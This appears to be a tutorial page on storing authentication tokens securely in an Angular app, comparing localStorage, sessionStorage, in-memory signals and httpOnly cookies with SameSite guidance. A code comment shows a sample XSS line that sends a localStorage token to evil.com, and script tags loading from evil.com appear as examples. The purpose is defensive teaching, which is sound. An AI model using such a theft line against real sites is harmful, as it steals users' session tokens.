Secure Token Storage — Memory vs localStorage vs httpOnly Cookies

Token storage is the most consequential security decision in an Angular SPA. The wrong choice creates vulnerabilities that cannot be fixed by code elsewhere in the application. The fundamental constraint: anything readable by JavaScript is vulnerable to XSS. The goal is to minimise what JavaScript can access — ideally, nothing that could be used to make authenticated API requests on the user’s behalf.

Storage Options and Their Security Properties

// ── ❌ OPTION 1: localStorage — convenient but XSS-vulnerable ─────────────
localStorage.setItem('access_token', token);
// ANY JavaScript on the page can read this:
// <script src="https://evil.com/xss.js"></script>
// → fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'))
// This steals the token and can make API calls as the victim user.
// Never store tokens in localStorage.

// ── ❌ OPTION 2: sessionStorage — same XSS vulnerability ──────────────────
sessionStorage.setItem('access_token', token);
// Same vulnerability as localStorage — JavaScript can read sessionStorage.
// The only difference: cleared on tab close. Still XSS-vulnerable.

// ── ✅ OPTION 3: Memory (Angular Signal) — XSS-safe but cleared on refresh ─
private _accessToken = signal<string | null>(null);
// JavaScript from OTHER origins cannot access Angular's internal signals.
// Same-origin XSS (injected script running on your page) CAN read JavaScript
// memory, but this requires a successful XSS attack AND specific targeting.
// Much safer than localStorage. Downside: lost on page refresh.

// ── ✅ OPTION 4: httpOnly Cookie — strongest protection ────────────────────
// Set by the SERVER in the HTTP response — Angular never sees the value:
// Set-Cookie: refreshToken=xxx; HttpOnly; Secure; SameSite=Strict; Path=/api/auth
// HttpOnly: JavaScript CANNOT read or modify this cookie (document.cookie omits it)
// Secure: only sent over HTTPS
// SameSite=Strict: only sent for same-site requests (CSRF protection)

// ── RECOMMENDED COMBINATION ───────────────────────────────────────────────
// Access token:  In-memory Signal (XSS-safe, short-lived, lost on refresh)
// Refresh token: httpOnly cookie (XSS-safe, survives refresh, CSRF-protected)

// ── SameSite Cookie Attribute Guide ──────────────────────────────────────
// SameSite=Strict: Cookie NEVER sent with cross-site requests
//   ✅ Best CSRF protection
//   ⚠️  Cookie not sent when user follows a link from external site
//       (user must log in again after clicking a Google result)
//
// SameSite=Lax (default in modern browsers): Cookie sent for top-level navigation GET
//   ✅ Good CSRF protection (blocks cross-site POST/PUT/DELETE)
//   ✅ Cookie sent when user follows a link (better UX than Strict)
//   ⚠️  Still requires Secure flag and HttpOnly
//
// SameSite=None: Cookie sent for all requests (including cross-site)
//   ❌ No CSRF protection — only use for third-party cookies
//   ⚠️  Requires Secure flag (HTTPS only)
//   ⚠️  Not appropriate for auth cookies
Note: httpOnly cookies cannot be accessed by document.cookie — they are invisible to JavaScript entirely. Even a successful XSS attack cannot steal an httpOnly cookie because there is no JavaScript API to read it. The only thing an attacker can do is make HTTP requests that include the cookie (which the browser sends automatically) — hence the need for SameSite protection to prevent cross-site requests from being useful. The combination of httpOnly, Secure, and SameSite=Lax (or Strict) gives the strongest cookie security.
Tip: Use short-lived access tokens (15 minutes) stored in memory, and longer-lived refresh tokens (30 days) in httpOnly cookies. Short access token lifetimes limit the window of opportunity if a token is somehow compromised. The refresh token’s httpOnly protection means it cannot be stolen via XSS. Configure the ASP.NET Core API to rotate refresh tokens on each use — the old refresh token is invalidated when a new one is issued, enabling detection of stolen tokens (if an attacker uses the stolen token, the legitimate user’s next refresh fails).
Warning: Despite the risks, many Angular applications use localStorage for token storage. If your organisation’s security policy mandates localStorage (for reasons like cross-tab session sharing or legacy SSO integration), mitigate the XSS risk with a strict Content Security Policy that prevents injected scripts from running. A CSP with script-src 'self' ensures only scripts served from your own origin execute — an injected <script src="https://evil.com/steal.js"> is blocked by the browser. This reduces but does not eliminate the risk.

Token Storage Security Matrix

Storage XSS Risk Survives Refresh CSRF Risk Recommendation
localStorage ❌ High ✅ Yes No ❌ Avoid
sessionStorage ❌ High No No ❌ Avoid
Memory (Signal) ✅ Low No No ✅ Access token
httpOnly cookie ✅ Lowest ✅ Yes ⚠️ Mitigate with SameSite ✅ Refresh token

Common Mistakes

Mistake 1 — Storing access tokens in localStorage (XSS vulnerability)

❌ Wrong — any XSS attack can extract the token and make authenticated API calls as the user indefinitely.

✅ Correct — store access tokens in memory (Signal); use httpOnly cookies for refresh tokens.

Mistake 2 — Setting SameSite=None on auth cookies without understanding CSRF implications

❌ Wrong — SameSite=None allows any website to make requests with the auth cookie included.

✅ Correct — use SameSite=Strict or SameSite=Lax for auth cookies; add CSRF token headers if additional protection is needed.

🧠 Test Yourself

An XSS attack injects a script into the BlogApp page. The access token is in a Signal; the refresh token is in an httpOnly cookie. What can the attacker script steal?